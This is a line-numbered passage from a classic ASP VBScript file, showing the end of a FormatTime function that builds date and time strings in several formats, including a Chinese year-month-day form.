627: ' yyyy-mm-dd hh:mm:ss 628: FormatTime = y & "-" & m & "-" & d & " " & h & ":" & mi & ":" & s
629: Case 2
630: ' yyyy-mm-dd 631: FormatTime = y & "-" & m & "-" & d
632: Case 3
633: ' hh:mm:ss 634: FormatTime = h & ":" & mi & ":" & s
635: Case 4
636: ' yyyy年mm月dd日 637: FormatTime = y & "年" & m & "月" & d & "日"
638: Case 5
639: ' yyyymmdd 640: FormatTime = y & m & d
641: case 6
642: 'yyyymmddhhmmss 643: FormatTime= y & m & d & h & mi & s
644: End Select
645: End Function
646: %>
647:
648: